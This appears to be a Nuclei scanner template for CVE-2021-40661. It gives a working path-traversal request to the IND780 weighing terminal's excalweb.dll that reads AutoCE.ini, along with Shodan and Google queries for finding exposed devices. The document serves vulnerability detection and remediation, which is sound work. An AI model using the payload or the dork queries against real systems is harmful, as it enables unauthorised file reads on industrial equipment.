IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
PoC代码[已公开]
id: CVE-2021-40661
info:
name: IND780 - Local File Inclusion
author: For3stCo1d
severity: high
description: |
IND780 Advanced Weighing Terminals Build 8.0.07 March 19, 2018 (SS Label 'IND780_8.0.07'), Version 7.2.10 June 18, 2012 (SS Label 'IND780_7.2.10') is vulnerable to unauthenticated local file inclusion. It is possible to traverse the folders of the affected host by providing a relative path to the 'webpage' parameter in AutoCE.ini. This could allow a remote attacker to access additional files on the affected system.
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files or credentials, leading to further compromise of the system.
remediation: |
Apply the latest firmware update provided by the vendor to mitigate the vulnerability and ensure that the device is not accessible from untrusted networks.
reference:
- https://sidsecure.au/blog/cve-2021-40661/?_sm_pdc=1&_sm_rid=MRRqb4KBDnjBMJk24b40LMS3SKqPMqb4KVn32Kr
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40661
- https://www.mt.com/au/en/home/products/Industrial_Weighing_Solutions/Terminals-and-Controllers/terminals-bench-floor-scales/advanced-bench-floor-applications/IND780/IND780_.html#overviewpm
- https://nvd.nist.gov/vuln/detail/CVE-2021-40661
- https://github.com/Live-Hack-CVE/CVE-2021-40661
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-40661
cwe-id: CWE-22
epss-score: 0.85887
epss-percentile: 0.99345
cpe: cpe:2.3:o:mt:ind780_firmware:7.2.10:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: mt
product: ind780_firmware
shodan-query:
- IND780
- ind780
google-query: inurl:excalweb.dll
tags: cve2021,cve,ind780,lfi,mt
http:
- method: GET
path:
- "{{BaseURL}}/IND780/excalweb.dll?webpage=../../AutoCE.ini"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'ExePath=\Windows'
- 'WorkDir=\Windows'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100890143a2ba86d2295910133f5f50b423783029e689051a7b3cde7c20351dc06d022100c9fc34d1e24f77882fd214b1856009ac4f9a5e93cdae9ce3d8537ba2d9951a9d:922c64590222798bb761d5b6d8e72950